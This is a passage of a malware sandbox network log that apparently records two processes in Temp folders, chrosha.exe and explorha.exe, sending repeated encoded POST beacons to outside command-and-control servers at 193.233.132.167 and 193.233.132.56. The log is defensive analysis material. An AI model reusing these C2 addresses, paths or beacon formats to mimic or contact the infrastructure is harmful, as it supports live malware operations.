879	192.168.2.5	50728	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:34:01.327521086 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:34:01.581912994 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:34:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
880	192.168.2.5	50729	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:34:01.547175884 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:34:01.795555115 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:34:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
881	192.168.2.5	50730	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:34:01.943769932 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:34:02.191571951 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:34:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
882	192.168.2.5	50731	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:34:02.149661064 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:34:02.397720098 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:34:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
883	192.168.2.5	50732	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:34:02.440407991 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:34:02.690629959 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:34:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
884	192.168.2.5	50733	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:34:02.667876959 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:34:02.919490099 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:34:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
885	192.168.2.5	50734	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:34:03.054929972 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:34:03.299253941 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:34:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
886	192.168.2.5	50735	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:34:03.279337883 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:34:03.530123949 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:34:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
887	192.168.2.5	50736	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:34:03.559377909 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:34:03.815095901 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:34:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
888	192.168.2.5	50737	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:34:03.783452988 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:34:04.037173033 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:34:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
889	192.168.2.5	50738	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:34:04.182365894 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:34:04.432239056 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:34:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
890	192.168.2.5	50739	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:34:04.396481037 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:34:04.641068935 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:34:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
891	192.168.2.5	50740	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:34:04.681428909 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:34:04.931333065 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:34:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
892	192.168.2.5	50741	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:34:04.892939091 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:34:05.145104885 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:34:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
893	192.168.2.5	50743	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:34:05.308123112 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:34:05.562213898 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:34:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
894	192.168.2.5	50744	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:34:05.506942987 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:34:05.750025988 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:34:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
895	192.168.2.5	50745	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:34:05.914108992 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:34:06.158916950 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:34:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
896	192.168.2.5	50746	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:34:06.002943993 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:34:06.251528978 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:34:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
897	192.168.2.5	50747	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:34:06.409559965 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:34:06.660788059 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:34:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
898	192.168.2.5	50748	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:34:06.609671116 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:34:06.858450890 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:34:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
899	192.168.2.5	50749	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:34:07.030046940 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:34:07.280863047 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:34:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
900	192.168.2.5	50750	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:34:07.107389927 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:34:07.354238033 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:34:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
901	192.168.2.5	50751	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
